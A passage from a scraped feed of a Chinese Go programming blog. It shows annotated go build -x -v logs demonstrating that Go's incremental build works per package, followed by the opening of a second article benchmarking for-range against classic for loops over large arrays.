/Users/tonybai/Library/Caches/go-build/e8/e86257379cbdd59856f799594b63f3bb33ae89011955fee50e6fe90d3809ce5a-d /Users/tonybai/.bin/go1.18rc1/pkg/tool/darwin_amd64/buildid -w $WORK/b001/exe/a.out # internal mv $WORK/b001/exe/a.out demo1 rm -r $WORK/b001/ 通过go build命令输出的日志我们看到：go build并没有重新编译各个包中的源文件，而是直接使用上一次构建缓存在cache中的demo1、demo1/pkg1和demo1/pkg2进行链接并输出最终可执行文件。初步判断，Go编译器是可以识别出项目中的源文件是否发生了改变并决定是否对其重新编译的。\nc) 新增pkg3 我们为demo1新增pkg3，并在main.go中调用pkg3包中的函数，相当于建立了一个对pkg3的依赖，然后我们再来build一下该项目：\n$go build -x -v WORK=/var/folders/cz/sbj5kg2d3m3c6j650z0qfm800000gn/T/go-build3890553968 cd /Users/tonybai/test/go git status --porcelain cd /Users/tonybai/test/go git show -s --no-show-signature --format=%H:%ct demo1/pkg3 mkdir -p $WORK/b004/ cat \u0026gt;$WORK/b004/importcfg \u0026lt;\u0026lt; \u0026#39;EOF\u0026#39; # internal # import config EOF ### 笔者注：构建pkg3 cd /Users/tonybai/test/go/incremental-build/demo1 /Users/tonybai/.bin/go1.18rc1/pkg/tool/darwin_amd64/compile -o $WORK/b004/_pkg_.a -trimpath \u0026#34;$WORK/b004=\u0026gt;\u0026#34; -p demo1/pkg3 -lang=go1.18 -complete -buildid yVeHBkrjxeJ1Ib-jc5Fu/yVeHBkrjxeJ1Ib-jc5Fu -goversion go1.18rc1 -c=4 -nolocalimports -importcfg $WORK/b004/importcfg -pack ./pkg3/pkg3.go /Users/tonybai/.bin/go1.18rc1/pkg/tool/darwin_amd64/buildid -w $WORK/b004/_pkg_.a # internal cp $WORK/b004/_pkg_.a /Users/tonybai/Library/Caches/go-build/2c/2c02674d62c50d4f2b8439c9314ef51b3e211d45d4114fa495fdd0e20c43440d-d # internal demo1 mkdir -p $WORK/b001/ cat \u0026gt;$WORK/b001/importcfg \u0026lt;\u0026lt; \u0026#39;EOF\u0026#39; # internal # import config ### 笔者注：直接重用demo1/pkg1和demo1/pkg2在cache中的目标文件 packagefile demo1/pkg1=/Users/tonybai/Library/Caches/go-build/24/24519941f74b316c8e83f2d2462b62370692c5f56b04ec3df97e3124ff8b4633-d packagefile demo1/pkg2=/Users/tonybai/Library/Caches/go-build/fe/fef7890aa0cf3bb97e872d2b49cd834a5fad87cd5d8bf052dca65e4cecb541d2-d packagefile demo1/pkg3=$WORK/b004/_pkg_.a packagefile runtime=/Users/tonybai/Library/Caches/go-build/0e/0e28018e12d646c32443e88953b839c7ba0be3198e6a61afc8a74c0b3e76696a-d EOF ### 笔者注：重新编译main.go /Users/tonybai/.bin/go1.18rc1/pkg/tool/darwin_amd64/compile -o $WORK/b001/_pkg_.a -trimpath \u0026#34;$WORK/b001=\u0026gt;\u0026#34; -p main -lang=go1.18 -complete -buildid Jii_iiylmm9d82X_Mzem/Jii_iiylmm9d82X_Mzem -goversion go1.18rc1 -c=4 -nolocalimports -importcfg $WORK/b001/importcfg -pack ./main.go /Users/tonybai/.bin/go1.18rc1/pkg/tool/darwin_amd64/buildid -w $WORK/b001/_pkg_.a # internal cp $WORK/b001/_pkg_.a /Users/tonybai/Library/Caches/go-build/52/52b5b7e233ac17201702c26f1da97c5a23e42e68f74040d576905323a016f66e-d # internal cat \u0026gt;$WORK/b001/importcfg.link \u0026lt;\u0026lt; \u0026#39;EOF\u0026#39; # internal packagefile demo1=$WORK/b001/_pkg_.a packagefile demo1/pkg1=/Users/tonybai/Library/Caches/go-build/24/24519941f74b316c8e83f2d2462b62370692c5f56b04ec3df97e3124ff8b4633-d packagefile demo1/pkg2=/Users/tonybai/Library/Caches/go-build/fe/fef7890aa0cf3bb97e872d2b49cd834a5fad87cd5d8bf052dca65e4cecb541d2-d packagefile demo1/pkg3=$WORK/b004/_pkg_.a packagefile runtime=/Users/tonybai/Library/Caches/go-build/0e/0e28018e12d646c32443e88953b839c7ba0be3198e6a61afc8a74c0b3e76696a-d packagefile internal/abi=/Users/tonybai/.bin/go1.18rc1/pkg/darwin_amd64/internal/abi.a packagefile internal/bytealg=/Users/tonybai/.bin/go1.18rc1/pkg/darwin_amd64/internal/bytealg.a packagefile internal/cpu=/Users/tonybai/.bin/go1.18rc1/pkg/darwin_amd64/internal/cpu.a packagefile internal/goarch=/Users/tonybai/.bin/go1.18rc1/pkg/darwin_amd64/internal/goarch.a packagefile internal/goexperiment=/Users/tonybai/.bin/go1.18rc1/pkg/darwin_amd64/internal/goexperiment.a packagefile internal/goos=/Users/tonybai/.bin/go1.18rc1/pkg/darwin_amd64/internal/goos.a packagefile runtime/internal/atomic=/Users/tonybai/.bin/go1.18rc1/pkg/darwin_amd64/runtime/internal/atomic.a packagefile runtime/internal/math=/Users/tonybai/.bin/go1.18rc1/pkg/darwin_amd64/runtime/internal/math.a packagefile runtime/internal/sys=/Users/tonybai/.bin/go1.18rc1/pkg/darwin_amd64/runtime/internal/sys.a modinfo \u0026#34;0w\\xaf\\f\\x92t\\b\\x02A\\xe1\\xc1\\a\\xe6\\xd6\\x18\\xe6path\\tdemo1\\nmod\\tdemo1\\t(devel)\\t\\nbuild\\t-compiler=gc\\nbuild\\tCGO_ENABLED=1\\nbuild\\tCGO_CFLAGS=\\nbuild\\tCGO_CPPFLAGS=\\nbuild\\tCGO_CXXFLAGS=\\nbuild\\tCGO_LDFLAGS=\\nbuild\\tGOARCH=amd64\\nbuild\\tGOOS=darwin\\nbuild\\tGOAMD64=v1\\nbuild\\tvcs=git\\nbuild\\tvcs.revision=6534186d4b5b80c6c056237191fc703fa99cd19e\\nbuild\\tvcs.time=2022-03-12T13:52:57Z\\nbuild\\tvcs.modified=true\\n\\xf92C1\\x86\\x18 r\\x00\\x82B\\x10A\\x16\\xd8\\xf2\u0026#34; EOF mkdir -p $WORK/b001/exe/ cd . /Users/tonybai/.bin/go1.18rc1/pkg/tool/darwin_amd64/link -o $WORK/b001/exe/a.out -importcfg $WORK/b001/importcfg.link -buildmode=exe -buildid=GM4wTB4eDZmuIuIaQgup/Jii_iiylmm9d82X_Mzem/5aVh7LKgEkk3c4g5_WBq/GM4wTB4eDZmuIuIaQgup -extld=clang $WORK/b001/_pkg_.a /Users/tonybai/.bin/go1.18rc1/pkg/tool/darwin_amd64/buildid -w $WORK/b001/exe/a.out # internal mv $WORK/b001/exe/a.out demo1 rm -r $WORK/b001/ 我们看到Go只是编译了新增的pkg3以及依赖pkg3的main.go，pkg1和pkg2包并未被重新编译，而是直接使用了缓存在gocache中的中间目标文件。\nd) 重新编译单个变更的源文件还是重新编译整个包？ 如果一个go package包含多个源文件，当某一个源文件发生内容变化时，go编译器是只会编译该源文件还是整个包呢？我们来验证一下。\n我们为pkg3添加另外一个源文件pkg3_1.go，然后做一次构建。之后再修改pkg3_1.go，再做构建：\n$go build -x -v WORK=/var/folders/cz/sbj5kg2d3m3c6j650z0qfm800000gn/T/go-build213842995 cd /Users/tonybai/test/go git status --porcelain cd /Users/tonybai/test/go git show -s --no-show-signature --format=%H:%ct demo1/pkg3 mkdir -p $WORK/b004/ cat \u0026gt;$WORK/b004/importcfg \u0026lt;\u0026lt; \u0026#39;EOF\u0026#39; # internal # import config EOF cd /Users/tonybai/test/go/incremental-build/demo1 ### 笔者注：编译pkg3包 /Users/tonybai/.bin/go1.18rc1/pkg/tool/darwin_amd64/compile -o $WORK/b004/_pkg_.a -trimpath \u0026#34;$WORK/b004=\u0026gt;\u0026#34; -p demo1/pkg3 -lang=go1.18 -complete -buildid pX9UOIUBAZfMKmMgHv3q/pX9UOIUBAZfMKmMgHv3q -goversion go1.18rc1 -c=4 -nolocalimports -importcfg $WORK/b004/importcfg -pack ./pkg3/pkg3.go ./pkg3/pkg3_1.go /Users/tonybai/.bin/go1.18rc1/pkg/tool/darwin_amd64/buildid -w $WORK/b004/_pkg_.a # internal cp $WORK/b004/_pkg_.a /Users/tonybai/Library/Caches/go-build/0c/0c3ce444d214c6c2999ba01b01eb4888c7864947d88bfcf63a41db4ac44002c2-d # internal demo1 mkdir -p $WORK/b001/ cat \u0026gt;$WORK/b001/importcfg \u0026lt;\u0026lt; \u0026#39;EOF\u0026#39; # internal # import config packagefile demo1/pkg1=/Users/tonybai/Library/Caches/go-build/24/24519941f74b316c8e83f2d2462b62370692c5f56b04ec3df97e3124ff8b4633-d packagefile demo1/pkg2=/Users/tonybai/Library/Caches/go-build/fe/fef7890aa0cf3bb97e872d2b49cd834a5fad87cd5d8bf052dca65e4cecb541d2-d packagefile demo1/pkg3=$WORK/b004/_pkg_.a packagefile runtime=/Users/tonybai/Library/Caches/go-build/0e/0e28018e12d646c32443e88953b839c7ba0be3198e6a61afc8a74c0b3e76696a-d EOF ### 笔者注：编译依赖pkg3包的main.go /Users/tonybai/.bin/go1.18rc1/pkg/tool/darwin_amd64/compile -o $WORK/b001/_pkg_.a -trimpath \u0026#34;$WORK/b001=\u0026gt;\u0026#34; -p main -lang=go1.18 -complete -buildid cQBq3r5n1_wurKrb8Xmq/cQBq3r5n1_wurKrb8Xmq -goversion go1.18rc1 -c=4 -nolocalimports -importcfg $WORK/b001/importcfg -pack ./main.go /Users/tonybai/.bin/go1.18rc1/pkg/tool/darwin_amd64/buildid -w $WORK/b001/_pkg_.a # internal cp $WORK/b001/_pkg_.a /Users/tonybai/Library/Caches/go-build/e2/e2818b14455f4dd54caf5f731c7b3b6b8254a37a8912e73c33b327771069bde7-d # internal cat \u0026gt;$WORK/b001/importcfg.link \u0026lt;\u0026lt; \u0026#39;EOF\u0026#39; # internal packagefile demo1=$WORK/b001/_pkg_.a packagefile demo1/pkg1=/Users/tonybai/Library/Caches/go-build/24/24519941f74b316c8e83f2d2462b62370692c5f56b04ec3df97e3124ff8b4633-d packagefile demo1/pkg2=/Users/tonybai/Library/Caches/go-build/fe/fef7890aa0cf3bb97e872d2b49cd834a5fad87cd5d8bf052dca65e4cecb541d2-d packagefile demo1/pkg3=$WORK/b004/_pkg_.a packagefile runtime=/Users/tonybai/Library/Caches/go-build/0e/0e28018e12d646c32443e88953b839c7ba0be3198e6a61afc8a74c0b3e76696a-d packagefile internal/abi=/Users/tonybai/.bin/go1.18rc1/pkg/darwin_amd64/internal/abi.a packagefile internal/bytealg=/Users/tonybai/.bin/go1.18rc1/pkg/darwin_amd64/internal/bytealg.a packagefile internal/cpu=/Users/tonybai/.bin/go1.18rc1/pkg/darwin_amd64/internal/cpu.a packagefile internal/goarch=/Users/tonybai/.bin/go1.18rc1/pkg/darwin_amd64/internal/goarch.a packagefile internal/goexperiment=/Users/tonybai/.bin/go1.18rc1/pkg/darwin_amd64/internal/goexperiment.a packagefile internal/goos=/Users/tonybai/.bin/go1.18rc1/pkg/darwin_amd64/internal/goos.a packagefile runtime/internal/atomic=/Users/tonybai/.bin/go1.18rc1/pkg/darwin_amd64/runtime/internal/atomic.a packagefile runtime/internal/math=/Users/tonybai/.bin/go1.18rc1/pkg/darwin_amd64/runtime/internal/math.a packagefile runtime/internal/sys=/Users/tonybai/.bin/go1.18rc1/pkg/darwin_amd64/runtime/internal/sys.a modinfo \u0026#34;0w\\xaf\\f\\x92t\\b\\x02A\\xe1\\xc1\\a\\xe6\\xd6\\x18\\xe6path\\tdemo1\\nmod\\tdemo1\\t(devel)\\t\\nbuild\\t-compiler=gc\\nbuild\\tCGO_ENABLED=1\\nbuild\\tCGO_CFLAGS=\\nbuild\\tCGO_CPPFLAGS=\\nbuild\\tCGO_CXXFLAGS=\\nbuild\\tCGO_LDFLAGS=\\nbuild\\tGOARCH=amd64\\nbuild\\tGOOS=darwin\\nbuild\\tGOAMD64=v1\\nbuild\\tvcs=git\\nbuild\\tvcs.revision=6534186d4b5b80c6c056237191fc703fa99cd19e\\nbuild\\tvcs.time=2022-03-12T13:52:57Z\\nbuild\\tvcs.modified=true\\n\\xf92C1\\x86\\x18 r\\x00\\x82B\\x10A\\x16\\xd8\\xf2\u0026#34; EOF mkdir -p $WORK/b001/exe/ cd . /Users/tonybai/.bin/go1.18rc1/pkg/tool/darwin_amd64/link -o $WORK/b001/exe/a.out -importcfg $WORK/b001/importcfg.link -buildmode=exe -buildid=qvFsK1K1jm8CeANRL3a2/cQBq3r5n1_wurKrb8Xmq/BB3nEx0b9edm7IM0XGAQ/qvFsK1K1jm8CeANRL3a2 -extld=clang $WORK/b001/_pkg_.a /Users/tonybai/.bin/go1.18rc1/pkg/tool/darwin_amd64/buildid -w $WORK/b001/exe/a.out # internal mv $WORK/b001/exe/a.out demo1 rm -r $WORK/b001/ 我们看到：虽然只修改了pkg3包下面的源文件pkg3_1.go，但go build还是会将整个包的所有源文件都重新编译一次。依赖pkg3包的main.go也会被随之重新编译。就此可以证实，Go的增量编译是以Go包为基本单位的，而不是以单个源文件为单位的。这与go工具缓存在gocache中的中间目标文件(pkg.a)以包为单位的是一致的。\ne) 当间接依赖的包发生了变动 前面的示例展示的都是直接依赖包发生变动后，增量构建涵盖的编译单元范畴。如果某个包的间接依赖包发生变化，该包是否会参与增量构建呢？答案是肯定的。我们继续用示例来证明一下。\n我们为该demo1项目增加pkg4包，并使得pkg3依赖pkg4。这样就会出现main.go直接依赖pkg3包，间接依赖pkg4包的情况。我们在添加完pkg4包后，进行一次构建。之后修改pkg4包的部分内容，然后再执行构建，其输出日志如下：\n$go build -x -v WORK=/var/folders/cz/sbj5kg2d3m3c6j650z0qfm800000gn/T/go-build2817187631 cd /Users/tonybai/test/go git status --porcelain cd /Users/tonybai/test/go git show -s --no-show-signature --format=%H:%ct demo1/pkg4 mkdir -p $WORK/b005/ cat \u0026gt;$WORK/b005/importcfg \u0026lt;\u0026lt; \u0026#39;EOF\u0026#39; # internal # import config EOF ### 笔者注：编译demo1/pkg4包 cd /Users/tonybai/test/go/incremental-build/demo1 /Users/tonybai/.bin/go1.18rc1/pkg/tool/darwin_amd64/compile -o $WORK/b005/_pkg_.a -trimpath \u0026#34;$WORK/b005=\u0026gt;\u0026#34; -p demo1/pkg4 -lang=go1.18 -complete -buildid AIv0TfCgKL2o00SexGru/AIv0TfCgKL2o00SexGru -goversion go1.18rc1 -c=4 -nolocalimports -importcfg $WORK/b005/importcfg -pack ./pkg4/pkg4.go /Users/tonybai/.bin/go1.18rc1/pkg/tool/darwin_amd64/buildid -w $WORK/b005/_pkg_.a # internal cp $WORK/b005/_pkg_.a /Users/tonybai/Library/Caches/go-build/7e/7e2b8f229f8ca2f1ee315438f61cad5421bb5af9ed155e88a460faca806f4f90-d # internal demo1/pkg3 mkdir -p $WORK/b004/ cat \u0026gt;$WORK/b004/importcfg \u0026lt;\u0026lt; \u0026#39;EOF\u0026#39; # internal # import config packagefile demo1/pkg4=$WORK/b005/_pkg_.a EOF ### 笔者注：编译直接依赖demo1/pkg4包的demo1/pkg3包 /Users/tonybai/.bin/go1.18rc1/pkg/tool/darwin_amd64/compile -o $WORK/b004/_pkg_.a -trimpath \u0026#34;$WORK/b004=\u0026gt;\u0026#34; -p demo1/pkg3 -lang=go1.18 -complete -buildid ObVmRzLu3J1liPWzEiXx/ObVmRzLu3J1liPWzEiXx -goversion go1.18rc1 -c=4 -nolocalimports -importcfg $WORK/b004/importcfg -pack ./pkg3/pkg3.go ./pkg3/pkg3_1.go /Users/tonybai/.bin/go1.18rc1/pkg/tool/darwin_amd64/buildid -w $WORK/b004/_pkg_.a # internal cp $WORK/b004/_pkg_.a /Users/tonybai/Library/Caches/go-build/4f/4f69cad7558ecf297799e29353bc802415785847c195555c22151f52abe1d9d9-d # internal demo1 mkdir -p $WORK/b001/ cat \u0026gt;$WORK/b001/importcfg \u0026lt;\u0026lt; \u0026#39;EOF\u0026#39; # internal # import config packagefile demo1/pkg1=/Users/tonybai/Library/Caches/go-build/24/24519941f74b316c8e83f2d2462b62370692c5f56b04ec3df97e3124ff8b4633-d packagefile demo1/pkg2=/Users/tonybai/Library/Caches/go-build/fe/fef7890aa0cf3bb97e872d2b49cd834a5fad87cd5d8bf052dca65e4cecb541d2-d packagefile demo1/pkg3=$WORK/b004/_pkg_.a packagefile runtime=/Users/tonybai/Library/Caches/go-build/0e/0e28018e12d646c32443e88953b839c7ba0be3198e6a61afc8a74c0b3e76696a-d EOF ### 笔者注：编译间接依赖demo1/pkg4包的main.go /Users/tonybai/.bin/go1.18rc1/pkg/tool/darwin_amd64/compile -o $WORK/b001/_pkg_.a -trimpath \u0026#34;$WORK/b001=\u0026gt;\u0026#34; -p main -lang=go1.18 -complete -buildid i543xzAqlwVlWgQBYhsS/i543xzAqlwVlWgQBYhsS -goversion go1.18rc1 -c=4 -nolocalimports -importcfg $WORK/b001/importcfg -pack ./main.go /Users/tonybai/.bin/go1.18rc1/pkg/tool/darwin_amd64/buildid -w $WORK/b001/_pkg_.a # internal cp $WORK/b001/_pkg_.a /Users/tonybai/Library/Caches/go-build/67/67a5ff80f6dbbbe01fcf9efb4d6ff380cb27fd1723b06b209a17987f1c74f425-d # internal cat \u0026gt;$WORK/b001/importcfg.link \u0026lt;\u0026lt; \u0026#39;EOF\u0026#39; # internal packagefile demo1=$WORK/b001/_pkg_.a packagefile demo1/pkg1=/Users/tonybai/Library/Caches/go-build/24/24519941f74b316c8e83f2d2462b62370692c5f56b04ec3df97e3124ff8b4633-d packagefile demo1/pkg2=/Users/tonybai/Library/Caches/go-build/fe/fef7890aa0cf3bb97e872d2b49cd834a5fad87cd5d8bf052dca65e4cecb541d2-d packagefile demo1/pkg3=$WORK/b004/_pkg_.a packagefile runtime=/Users/tonybai/Library/Caches/go-build/0e/0e28018e12d646c32443e88953b839c7ba0be3198e6a61afc8a74c0b3e76696a-d packagefile demo1/pkg4=$WORK/b005/_pkg_.a packagefile internal/abi=/Users/tonybai/.bin/go1.18rc1/pkg/darwin_amd64/internal/abi.a packagefile internal/bytealg=/Users/tonybai/.bin/go1.18rc1/pkg/darwin_amd64/internal/bytealg.a packagefile internal/cpu=/Users/tonybai/.bin/go1.18rc1/pkg/darwin_amd64/internal/cpu.a packagefile internal/goarch=/Users/tonybai/.bin/go1.18rc1/pkg/darwin_amd64/internal/goarch.a packagefile internal/goexperiment=/Users/tonybai/.bin/go1.18rc1/pkg/darwin_amd64/internal/goexperiment.a packagefile internal/goos=/Users/tonybai/.bin/go1.18rc1/pkg/darwin_amd64/internal/goos.a packagefile runtime/internal/atomic=/Users/tonybai/.bin/go1.18rc1/pkg/darwin_amd64/runtime/internal/atomic.a packagefile runtime/internal/math=/Users/tonybai/.bin/go1.18rc1/pkg/darwin_amd64/runtime/internal/math.a packagefile runtime/internal/sys=/Users/tonybai/.bin/go1.18rc1/pkg/darwin_amd64/runtime/internal/sys.a modinfo \u0026#34;0w\\xaf\\f\\x92t\\b\\x02A\\xe1\\xc1\\a\\xe6\\xd6\\x18\\xe6path\\tdemo1\\nmod\\tdemo1\\t(devel)\\t\\nbuild\\t-compiler=gc\\nbuild\\tCGO_ENABLED=1\\nbuild\\tCGO_CFLAGS=\\nbuild\\tCGO_CPPFLAGS=\\nbuild\\tCGO_CXXFLAGS=\\nbuild\\tCGO_LDFLAGS=\\nbuild\\tGOARCH=amd64\\nbuild\\tGOOS=darwin\\nbuild\\tGOAMD64=v1\\nbuild\\tvcs=git\\nbuild\\tvcs.revision=6534186d4b5b80c6c056237191fc703fa99cd19e\\nbuild\\tvcs.time=2022-03-12T13:52:57Z\\nbuild\\tvcs.modified=true\\n\\xf92C1\\x86\\x18 r\\x00\\x82B\\x10A\\x16\\xd8\\xf2\u0026#34; EOF mkdir -p $WORK/b001/exe/ cd . /Users/tonybai/.bin/go1.18rc1/pkg/tool/darwin_amd64/link -o $WORK/b001/exe/a.out -importcfg $WORK/b001/importcfg.link -buildmode=exe -buildid=5U4vzFHU8ahkEvKH4-CV/i543xzAqlwVlWgQBYhsS/GOFyatqByKmjWK1zLLiq/5U4vzFHU8ahkEvKH4-CV -extld=clang $WORK/b001/_pkg_.a /Users/tonybai/.bin/go1.18rc1/pkg/tool/darwin_amd64/buildid -w $WORK/b001/exe/a.out # internal mv $WORK/b001/exe/a.out demo1 rm -r $WORK/b001/ 我们看到：pkg4包修改后，无论是直接依赖pkg4的包，还是间接依赖pkg4的包都会在下次增量构建时被重新编译。\n3. 小结 由上面的示例我们看到：Go编译器是原生支持增量构建的，无需第三方构建管理工具的辅助。Go的增量构建是建立在Go 1.10引入的build cache机制的基础上的。Go的增量构建以Go包为单位，当Go包中的任一源文件发生变化时，Go都会对其进行重新构建，并且会连带构建所有直接或间接依赖该包的Go包。\n本文示例源码在这里可以下载。\n“Gopher部落”知识星球旨在打造一个精品Go学习和进阶社群！高品质首发Go技术文章，“三天”首发阅读权，每年两期Go语言发展现状分析，每天提前1小时阅读到新鲜的Gopher日报，网课、技术专栏、图书内容前瞻，六小时内必答保证等满足你关于Go语言生态的所有需求！2022年，Gopher部落全面改版，将持续分享Go语言与Go应用领域的知识、技巧与实践，并增加诸多互动形式。欢迎大家加入！\n我爱发短信：企业级短信平台定制开发专家 https://tonybai.com/。smspush : 可部署在企业内部的定制化短信平台，三网覆盖，不惧大并发接入，可定制扩展； 短信内容你来定，不再受约束, 接口丰富，支持长短信，签名可选。2020年4月8日，中国三大电信运营商联合发布《5G消息白皮书》，51短信平台也会全新升级到“51商用消息平台”，全面支持5G RCS消息。\n著名云主机服务厂商DigitalOcean发布最新的主机计划，入门级Droplet配置升级为：1 core CPU、1G内存、25G高速SSD，价格5$/月。有使用DigitalOcean需求的朋友，可以打开这个链接地址：https://m.do.co/c/bff6eed92687 开启你的DO主机之路。\nGopher Daily(Gopher每日新闻)归档仓库 – https://github.com/bigwhite/gopherdaily\n我的联系方式：\n微博：https://weibo.com/bigwhite20xx 微信公众号：iamtonybai 博客：tonybai.com github: https://github.com/bigwhite “Gopher部落”知识星球：https://public.zsxq.com/groups/51284458844544 商务合作方式：撰稿、出书、培训、在线课程、合伙创业、咨询、广告合作。\n","permalink":"https://tonybai.com/2022/03/21/go-native-support-incremental-build/","summary":"\u003cp\u003e\u003cimg loading=\"lazy\" src=\"/images/wp-content/uploads/go-native-support-incremental-build-1.png\"\u003e\u003c/p\u003e\n\u003cp\u003e\u003ca href=\"https://tonybai.com/2022/03/21/go-native-support-incremental-build\"\u003e本文永久链接\u003c/a\u003e – \u003ca href=\"https://tonybai.com/2022/03/21/go-native-support-incremental-build\"\u003ehttps://tonybai.com/2022/03/21/go-native-support-incremental-build\u003c/a\u003e\u003c/p\u003e\n\u003cp\u003eGo语言\u003cstrong\u003e以编译速度快闻名于码农界\u003c/strong\u003e。这缘于Go在设计之初就选择抛弃其祖辈C语言的头文件包含机制，选择了以包(package)作为基本编译单元。Go语言的这种以包为基本构建单元的构建模型使得依赖分析变得十分简单，避免了C语言那种通过头文件分析依赖的巨大开销。在我的\u003ca href=\"https://mp.weixin.qq.com/s/h-lsWUbKRPnzFLINub5uYw\"\u003e《Go语言精进之路》\u003c/a\u003e一书中，我也给出了Go编译速度快的三点具体原因，包括：\u003c/p\u003e","title":"Go是否支持增量构建？我来告诉你！"},{"content":"\n本文永久链接 – https://tonybai.com/2022/03/19/for-range-vs-classic-for-loop-when-iterating-large-array\nGo语言推崇“一件事情仅有一个作法”！比如：Go仅保留一类循环控制语句，那就是经典版的for loop：\nfor i := 0; i \u0026lt; 100; i++ { ... ... } 而像C语言支持的while、do…while等循环控制语句都被排除在Go简洁的语法之外。但为了方便Go开发者对复合数据类型的迭代，比如：数组、切片、channel以及map等，Go提供了一个变种for range loop，甚至对于map、channel进行遍历，仅能使用for range loop，经典版for loop根本不支持。\n不过for range 带来了方便的同时，也给Go初学者带来了一些烦恼，比如：for range迭代复合类型变量时就有一些常见的且十分容易掉入的“坑”，这些“坑”我在《Go语言第一课》中有全面详细的讲解。这里为了给后面的内容做铺垫，只提一个for range的坑，那就是参与循环的是range表达式的副本。\n我们来看一个专栏中的例子：\nfunc main() { var a = [5]int{1, 2, 3, 4, 5} var r [5]int fmt.Println(\u0026#34;original a =\u0026#34;, a) for i, v := range a { if i == 0 { a[1] = 12 a[2] = 13 } r[i] = v } fmt.Println(\u0026#34;after for range loop, r =\u0026#34;, r) fmt.Println(\u0026#34;after for range loop, a =\u0026#34;, a) } 大家来猜猜这段代码会输出什么结果？你是不是觉得这段代码会输出如下结果：\noriginal a = [1 2 3 4 5] after for range loop, r = [1 12 13 4 5] after for range loop, a = [1 12 13 4 5] 但实际运行该程序的输出结果却是：\noriginal a = [1 2 3 4 5] after for range loop, r = [1 2 3 4 5] after for range loop, a = [1 12 13 4 5] 我们原以为在第一次迭代过程，也就是i = 0时，我们对a的修改 (a[1] =12,a[2] = 13) 会在第二次、第三次迭代中被v取出，但从结果来看，v 取出的依旧是a被修改前的值：2和3。\n为什么会是这种情况呢？原因就是参与for range循环的是range表达式的副本。也就是说，在上面这个例子中，真正参与循环的是a的副本，而不是真正的a。\n为了方便你理解，我们将上面的例子中的for range循环，用一个等价的伪代码形式重写一下：\nfor i, v := range a\u0026#39; { //a\u0026#39;是a的一个值拷贝 if i == 0 { a[1] = 12 a[2] = 13 } r[i] = v } 现在真相终于揭开了：这个例子中，每次迭代的都是从数组a的值拷贝a’中得到的元素。a’是Go临时分配的连续字节序列，与a完全不是一块内存区域。因此无论a被如何修改，它参与循环的副本a’依旧保持原值，因此v从a’中取出的仍旧是a的原值，而不是修改后的值。\n好了，问题来了(来自专栏的一位童鞋的留言)！\n这位童鞋的核心问题就一个：对于大型数组，由于参与for range的是该数组的拷贝，那么使用for range是不是会比经典for loop更耗资源且性能更差？\n我们通过benchmark例子来验证一下：针对大型数组，for range是不是一定就比经典for loop跑得更慢？我们先看第一个例子：\n// benchmark1_test.go package main import \u0026#34;testing\u0026#34; func BenchmarkClassicForLoopIntArray(b *testing.B) { b.ReportAllocs() var arr [100000]int for i := 0; i \u0026lt; b.N; i++ { for j := 0; j \u0026lt; len(arr); j++ { arr[j] = j } } } func BenchmarkForRangeIntArray(b *testing.B) { b.ReportAllocs() var arr [100000]int for i := 0; i \u0026lt; b.N; i++ { for j, v := range arr { arr[j] = j _ = v } } } 在这个例子中，我们分别用for loop与for range对一个拥有10w个int类型元素的数组进行遍历，我们看看benchmark的结果：\n// Go 1.18rc1, MacOS $go test -bench . benchmark1_test.go goos: darwin goarch: amd64 cpu: Intel(R) Core(TM) i5-8257U CPU @ 1.40GHz BenchmarkClassicForLoopIntArray-8 22080 55124 ns/op 0 B/op 0 allocs/op BenchmarkForRangeIntArray-8 34808 34433 ns/op 0 B/op 0 allocs/op PASS ok command-line-arguments 3.321s 从输出结果我们看到：for range loop非但未受到large array拷贝操作的影响，其性能居然比for range loop的性能还要好，这显然是在编译器层面(通常是静态单一赋值，即SSA环节)做了优化的结果。\n我们关闭优化开关，再运行一下压测：\n$go test -c -gcflags \u0026#39;-N -l\u0026#39; . $./demo.test -test.bench . goos: darwin goarch: amd64 pkg: demo cpu: Intel(R) Core(TM) i5-8257U CPU @ 1.40GHz BenchmarkClassicForLoopIntArray-8 6248 187773 ns/op 0 B/op 0 allocs/op BenchmarkForRangeIntArray-8 4768 246512 ns/op 0 B/op 0 allocs/op PASS 我们看到：在没有优化的情况下，两种loop的性能都大幅下降，并且for range下降更多，性能显著不如经典for loop。你可以对比一下BenchmarkForRangeIntArray函数在正常优化(go tool compile -S xxx.go)以及关闭优化时(go tool compile -S -N -l)的汇编代码片段，你会发现关闭优化后，汇编代码使用了很多中间变量存储中间结果，而优化后的代码则消除了这些中间状态。\n那么接下来你可能会提出这样一个问题：是不是for range迭代任何元素类型的大型数组，其性能都不比经典for loop差呢？我们来看一个对结构体数组遍历的例子：\n// benchmark3_test.go package main import \u0026#34;testing\u0026#34; type U5 struct { a, b, c, d, e int } type U4 struct { a, b, c, d int } type U3 struct { b, c, d int } type U2 struct { c, d int } type U1 struct { d int } func BenchmarkClassicForLoopLargeStructArrayU5(b *testing.B) { b.ReportAllocs() var arr [100000]U5 for i := 0; i \u0026lt; b.N; i++ { for j := 0; j \u0026lt; len(arr)-1; j++ { arr[j].d = j } } } func BenchmarkClassicForLoopLargeStructArrayU4(b *testing.B) { b.ReportAllocs() var arr [100000]U4 for i := 0; i \u0026lt; b.N; i++ { for j := 0; j \u0026lt; len(arr)-1; j++ { arr[j].d = j } } } func BenchmarkClassicForLoopLargeStructArrayU3(b *testing.B) { b.ReportAllocs() var arr [100000]U3 for i := 0; i \u0026lt; b.N; i++ { for j := 0; j \u0026lt; len(arr)-1; j++ { arr[j].d = j } } } func BenchmarkClassicForLoopLargeStructArrayU2(b *testing.B) { b.ReportAllocs() var arr [100000]U2 for i := 0; i \u0026lt; b.N; i++ { for j := 0; j \u0026lt; len(arr)-1; j++ { arr[j].d = j } } } func BenchmarkClassicForLoopLargeStructArrayU1(b *testing.B) { b.ReportAllocs() var arr [100000]U1 for i := 0; i \u0026lt; b.N; i++ { for j := 0; j \u0026lt; len(arr)-1; j++ { arr[j].d = j } } } func BenchmarkForRangeLargeStructArrayU5(b *testing.B) { b.ReportAllocs() var arr [100000]U5 for i := 0; i \u0026lt; b.N; i++ { for j, v := range arr { arr[j].d = j _ = v } } } func BenchmarkForRangeLargeStructArrayU4(b *testing.B) { b.ReportAllocs() var arr [100000]U4 for i := 0; i \u0026lt; b.N; i++ { for j, v := range arr { arr[j].d = j _ = v } } } func BenchmarkForRangeLargeStructArrayU3(b *testing.B) { b.ReportAllocs() var arr [100000]U3 for i := 0; i \u0026lt; b.N; i++ { for j, v := range arr { arr[j].d = j _ = v } } } func BenchmarkForRangeLargeStructArrayU2(b *testing.B) { b.ReportAllocs() var arr [100000]U2 for i := 0; i \u0026lt; b.N; i++ { for j, v := range arr { arr[j].d = j _ = v } } } func 